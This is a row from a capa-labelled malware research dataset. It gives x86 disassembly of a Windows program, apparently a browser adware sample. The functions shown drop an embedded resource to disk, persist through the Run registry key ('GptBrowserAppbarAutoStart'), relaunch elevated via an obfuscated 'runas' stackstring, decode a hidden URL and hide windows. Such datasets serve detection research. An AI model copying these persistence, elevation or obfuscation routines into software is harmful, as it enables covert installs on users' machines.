joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412ae0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ee92e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x808
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x52429a
call fcn.004c6bbd
mov ecx, dword [ebp + 8]
call fcn.00405fd0
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x800
push 0
lea ecx, [ebp - 0x814]
push ecx
call fcn.004cb140
add esp, 0xc
push 0x800
push 0
lea edx, [ebp - 0x814]
push edx
call fcn.004cb140
add esp, 0xc
push 0
push 0x17
lea eax, [ebp - 0x814]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x412b90
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00407f70
push 0x4f6cd4
mov ecx, dword [ebp + 8]
call fcn.00408a70
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x412bb0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ee92e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x808
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x52429a
call fcn.004c6bbd
mov ecx, dword [ebp + 8]
call fcn.00405fd0
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x800
push 0
lea ecx, [ebp - 0x814]
push ecx
call fcn.004cb140
add esp, 0xc
push 0x800
push 0
lea edx, [ebp - 0x814]
push edx
call fcn.004cb140
add esp, 0xc
push 0
push 0x10
lea eax, [ebp - 0x814]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x412c60
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00407f70
push 0x4f6ce0
mov ecx, dword [ebp + 8]
call fcn.00408a70
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x412c80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ee92e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x808
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x52429a
call fcn.004c6bbd
mov ecx, dword [ebp + 8]
call fcn.00405fd0
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x800
push 0
lea ecx, [ebp - 0x814]
push ecx
call fcn.004cb140
add esp, 0xc
push 0x800
push 0
lea edx, [ebp - 0x814]
push edx
call fcn.004cb140
add esp, 0xc
push 0
push 0x19
lea eax, [ebp - 0x814]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x412d30
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00407f70
push 0x4f6cdc
mov ecx, dword [ebp + 8]
call fcn.00408a70
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x412d80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ee92e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x808
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x52429a
call fcn.004c6bbd
mov ecx, dword [ebp + 8]
call fcn.00405fd0
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x800
push 0
lea ecx, [ebp - 0x814]
push ecx
call fcn.004cb140
add esp, 0xc
push 0x800
push 0
lea edx, [ebp - 0x814]
push edx
call fcn.004cb140
add esp, 0xc
push 0
push 2
lea eax, [ebp - 0x814]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x412e30
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00407f70
push 0x4f6cd8
mov ecx, dword [ebp + 8]
call fcn.00408a70
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x412e50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ee94d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x808
mov dword [ebp - 0x10], 0
mov ecx, 0x52429a
call fcn.004c6bbd
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x412ea6
mov eax, dword [ebp + 8]
push eax
call fcn.00412c80
add esp, 4
mov ecx, dword [ebp - 0x10]
or ecx, 1
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 8]
jmp 0x412f3b
lea ecx, [ebp - 0x14]
call fcn.00405fd0
mov dword [ebp - 4], 0
push 0x800
push 0
lea edx, [ebp - 0x814]
push edx
call fcn.004cb140
add esp, 0xc
push 0x800
push 0
lea eax, [ebp - 0x814]
push eax
call fcn.004cb140
add esp, 0xc
push 0
push 0x10
lea ecx, [ebp - 0x814]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x412f14
lea edx, [ebp - 0x814]
push edx
lea ecx, [ebp - 0x14]
call fcn.00407f70
push 0x4f6a60
lea ecx, [ebp - 0x14]
call fcn.00408a70
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
call fcn.00406000
mov ecx, dword [ebp - 0x10]
or ecx, 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00407640
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x412f50
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov ecx, 0x52429a
call fcn.004c6bbd
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], 0
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea ecx, [ebp + 8]
call fcn.004084d0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x412fb1
mov byte [ebp - 2], 0
lea ecx, [ebp + 8]
call fcn.00407640
lea ecx, [ebp + 0x10]
call fcn.00407640
mov al, byte [ebp - 2]
jmp 0x413041
lea ecx, [ebp + 0x10]
call fcn.004084d0
push eax
movzx eax, word [ebp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x412fd2
jmp 0x41301e
mov ecx, dword [ebp - 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x412fe9
jmp 0x41301e
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x413016
jmp 0x41301e
mov byte [ebp - 1], 1
xor ecx, ecx
jne 0x412fb1
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 1]
mov byte [ebp - 3], al
lea ecx, [ebp + 8]
call fcn.00407640
lea ecx, [ebp + 0x10]
call fcn.00407640
mov al, byte [ebp - 3]
mov esp, ebp
pop ebp
ret

Function at 0x413120
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, 0x52421c
call fcn.004c6bbd
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x41314e
xor eax, eax
jmp 0x4131ce
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x413165
xor eax, eax
jmp 0x4131ce
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x4131b1
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x4131b1
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x413188
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x4131bd
xor eax, eax
jmp 0x4131ce
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x4131cb
xor eax, eax
jmp 0x4131ce
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41a3c0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ef76d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov ecx, 0x52474f
call fcn.004c6bbd
push 0x4f7b98
lea eax, [ebp + 8]
push eax
push 0x4f7b9c
lea ecx, [ebp - 0x24]
push ecx
call fcn.004086d0
add esp, 0xc
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x20]
push ecx
call fcn.00408630
add esp, 0xc
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp + 8]
call fcn.00407eb0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x20]
call fcn.00407640
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.00407640
push 0x4f7ba0
lea ecx, [ebp + 8]
call fcn.00408a70
push 0
lea ecx, [ebp - 0x30]
call fcn.00406e90
push 0xf013f
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
lea ecx, [ebp - 0x30]
call fcn.0040c060
test eax, eax
jne 0x41a49e
push 1
lea ecx, [ebp + 8]
call fcn.004084d0
push eax
push str.GptBrowserAppbarAutoStart
lea ecx, [ebp - 0x30]
call fcn.0041ad40
lea ecx, [ebp - 0x30]
call fcn.00409500
lea ecx, [ebp - 0x30]
call fcn.004079b0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00407640
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x41ad40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov ecx, 0x524661
call fcn.004c6bbd
xor eax, eax
jne 0x41ad53
cmp dword [ebp + 0xc], 0
je 0x41ad66
mov dword [ebp - 0xc], 1
jmp 0x41ad6d
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
jne 0x41ad80
mov eax, 0xd
jmp 0x41add5
xor edx, edx
jne 0x41ad57
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 2
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
mov ax, word [edx]
mov word [ebp - 2], ax
add dword [ebp - 8], 2
cmp word [ebp - 2], 0
jne 0x41ad93
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x14]
sar ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
lea eax, [edx + edx + 2]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41ce20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4efb35
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2b4
mov ecx, 0x52474f
call fcn.004c6bbd
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x41ce59
mov al, 1
jmp 0x41d066
push 0x208
push 0
lea eax, [ebp - 0x2c0]
push eax
call fcn.004cb140
add esp, 0xc
mov dword [ebp - 0x44], 0
push 0x104
lea ecx, [ebp - 0x2c0]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, 0x72
mov word [ebp - 0x2c], ax
mov ecx, 0x75
mov word [ebp - 0x2a], cx
mov edx, 0x6e
mov word [ebp - 0x28], dx
mov eax, 0x61
mov word [ebp - 0x26], ax
mov ecx, 0x73
mov word [ebp - 0x24], cx
xor edx, edx
mov word [ebp - 0x22], dx
lea ecx, [ebp - 0x15]
call fcn.004063b0
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x74]
call fcn.00406b20
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x60]
call fcn.00406d10
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x4c]
call fcn.00415e30
push eax
lea ecx, [ebp - 0x1c]
call fcn.00406160
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x60]
call fcn.00407960
mov dword [ebp - 0xb8], 0x3c
push 0x38
push 0
lea edx, [ebp - 0xb4]
push edx
call fcn.004cb140
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.004084d0
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x9c], 1
lea ecx, [ebp - 0x14]
call fcn.00405fd0
mov byte [ebp - 4], 3
mov ecx, 0x2f
mov word [ebp - 0x40], cx
mov edx, 0x75
mov word [ebp - 0x3e], dx
mov eax, 0x70
mov word [ebp - 0x3c], ax
mov ecx, 0x70
mov word [ebp - 0x3a], cx
mov edx, 0x72
mov word [ebp - 0x38], dx
mov eax, 0x69
mov word [ebp - 0x36], ax
mov ecx, 0x76
mov word [ebp - 0x34], cx
mov edx, 0x69
mov word [ebp - 0x32], dx
xor eax, eax
mov word [ebp - 0x30], ax
lea ecx, [ebp - 0x16]
call fcn.004063b0
push eax
lea ecx, [ebp - 0x2e]
push ecx
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x7c]
call fcn.00406b20
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x6c]
call fcn.00406d10
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x54]
call fcn.00415e30
push eax
lea ecx, [ebp - 0x14]
call fcn.00407f70
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.00407960
lea ecx, [ebp - 0x14]
call fcn.004084d0
mov dword [ebp - 0xa4], eax
lea ecx, [ebp - 0xb8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x41d044
mov byte [ebp - 0xd], 1
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14]
call fcn.00407640
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00407640
mov al, byte [ebp - 0xd]
jmp 0x41d066
mov byte [ebp - 0xe], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14]
call fcn.00407640
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00407640
mov al, byte [ebp - 0xe]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x41d080
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4efb89
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xac
mov dword [ebp - 0x58], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x34], 0
mov ecx, 0x52474f
call fcn.004c6bbd
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x70
mov byte [ebp - 0x28], 0x3a
mov byte [ebp - 0x27], 0x2f
mov byte [ebp - 0x26], 0x2f
mov byte [ebp - 0x25], 0x77
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x6b
mov byte [ebp - 0x21], 0x2e
mov byte [ebp - 0x20], 0x79
mov byte [ebp - 0x1f], 0x68
mov byte [ebp - 0x1e], 0x79
mov byte [ebp - 0x1d], 0x68
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x68
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x6d
mov byte [ebp - 0x14], 0x2f
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0x12], 0x6d
mov byte [ebp - 0x11], 0x2f
mov byte [ebp - 0x10], 0
lea ecx, [ebp - 0x2d]
call fcn.004063b0
push eax
lea eax, [ebp - 0xf]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00406b20
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x68]
call fcn.00406c60
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x40]
call fcn.00415e30
push eax
lea ecx, [ebp - 0x88]
call fcn.004064f0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x68]
call fcn.00407900
mov ecx, dword [ebp + 8]
call fcn.004024f0
mov dword [ebp - 0x5c], eax
mov edx, dword [ebp - 0x34]
or edx, 1
mov dword [ebp - 0x34], edx
push 0xa
lea ecx, [ebp - 0x88]
call fcn.00415bb0
push eax
lea ecx, [ebp - 0x50]
call fcn.00406060
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x48]
call fcn.004084d0
push eax
lea ecx, [ebp - 0xa0]
push ecx
call fcn.0040b040
add esp, 0xc
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x4c]
push edx
mov ecx, dword [ebp + 8]
call fcn.00407fa0
lea ecx, [ebp - 0xa0]
call fcn.00402610
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x50]
call fcn.00407640
push 0
push 0x4f7a78
mov ecx, dword [ebp + 8]
call fcn.00423c20
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
je 0x41d241
mov eax, dword [ebp - 0x38]
push eax
push 0
lea ecx, [ebp - 0xb8]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00417a50
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x54]
push edx
mov ecx, dword [ebp + 8]
call fcn.00407fa0
lea ecx, [ebp - 0xb8]
call fcn.00402610
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x88]
call fcn.00402610
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x41d270
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov ecx, 0x52474f
call fcn.004c6bbd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [eax + 0x18], ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0x4212f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 4
Function at 0x426360
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f04dc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
mov ebx, ecx
mov ecx, 0x524831
push esi
mov dword [ebp - 0x14], ebx
push edi
mov dword [ebp - 0x10], 0
call fcn.004c6bbd
cmp dword [ebp + 8], 0
je 0x4263d4
mov dword [ebx], 0x4f7eac
mov dword [ebx + 0x58], 0
mov dword [ebx + 0x78], 0
mov dword [ebx + 0x7c], 0
mov dword [ebx + 0x80], 0
mov dword [ebx + 0x50], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [ebx]
lea esi, [ebx + 4]
push 0
push esi
mov dword [ebp + 8], esi
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + ebx - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
add ecx, ebx
call fcn.00424e90
mov eax, dword [ebx]
push 8
mov dword [ebp - 4], 2
mov dword [ebp - 0x18], esi
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ecx + ebx - 4], eax
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004c6c12
mov esi, eax
add esp, 4
test esi, esi
je 0x42644c
push 1
mov byte [ebp - 4], 3
call fcn.004c838f
add esp, 4
mov dword [esi + 4], eax
jmp 0x42644e
xor esi, esi
lea eax, [ebx + 4]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
lea edi, [eax + 0x14]
mov dword [eax + 0x1c], edi
lea ecx, [eax + 0x18]
mov dword [eax + 0x20], ecx
lea edx, [eax + 0x24]
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp + 8]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x10]
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [ebp + 8]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
pop edi
mov dword [eax], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [eax + 0x38], 0
mov dword [eax + 0x3c], 4
mov eax, dword [ebp - 0x14]
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x42bac0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0a8d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov dword [ebp - 0x14], ecx
mov ecx, 0x524a5a
call fcn.004c6bbd
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x465
ja 0x42bb15
cmp dword [ebp - 0x18], 0x465
je 0x42bb55
cmp dword [ebp - 0x18], 0x113
je 0x42bb35
jmp case.0x42bb2e.2
mov ecx, dword [ebp - 0x18]
sub ecx, 0x466
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 7
ja case.0x42bb2e.2
mov edx, dword [ebp - 0x18]
jmp dword [edx*4 + 0x42bd14]
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.0042dd40
mov dword [ebp - 0x20], eax
jmp case.0x42bb2e.2
mov ecx, dword [ebp - 0x14]
call fcn.0042eba0
jmp case.0x42bb2e.2
push 1
mov ecx, dword [ebp - 0x14]
call fcn.00440510
jmp case.0x42bb2e.2
mov ecx, dword [ebp - 0x14]
mov byte [ecx + 0x79c], 1
jmp case.0x42bb2e.2
cmp dword [ebp + 0xc], 0
je 0x42bb99
push 1
push 1
mov ecx, dword [ebp - 0x14]
call fcn.00440df0
jmp 0x42bbc8
push 1
push 0
mov ecx, dword [ebp - 0x14]
call fcn.00440df0
mov edx, dword [ebp - 0x14]
cmp dword [edx + 0x7c4], 0
je 0x42bbc8
push 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x7c4]
call fcn.00432a50
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp case.0x42bb2e.2
lea ecx, [ebp - 0x1c]
call fcn.00405fd0
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
shl ecx, 1
push ecx
push str._d__
lea edx, [ebp - 0x1c]
push edx
call fcn.0040a590
add esp, 0xc
mov eax, dword [ebp + 0xc]
shl eax, 1
push eax
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0x7b8]
call fcn.0044adb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00407640
jmp case.0x42bb2e.2
cmp dword [ebp + 0xc], 1
jne 0x42bc3d
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x798], 0xffffffdc
cmp dword [ebp + 0xc], 0
je 0x42bc49
mov byte [ebp - 0xd], 1
jmp 0x42bc4d
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp - 0xd]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x7bc]
mov eax, dword [ebp - 0x14]
mov edx, dword [edx]
mov ecx, dword [eax + 0x7bc]
mov eax, dword [edx + 0x104]
call eax
jmp case.0x42bb2e.2
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x770]
movzx eax, byte [edx + 2]
test eax, eax
je 0x42bc8e
push 1
mov ecx, dword [ebp - 0x14]
call fcn.00440510
jmp case.0x42bb2e.2
mov ecx, dword [ebp + 0x10]
push ecx
lea ecx, [ebp - 0x50]
call fcn.004064f0
mov dword [ebp - 4], 1
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00403120
add esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x50]
call fcn.00402610
lea ecx, [ebp - 0x38]
call fcn.00415bd0
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x7c0]
mov eax, dword [ebp - 0x14]
mov edx, dword [edx]
mov ecx, dword [eax + 0x7c0]
mov eax, dword [edx + 0x2c]
call eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
call fcn.004030c0
jmp case.0x42bb2e.2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x10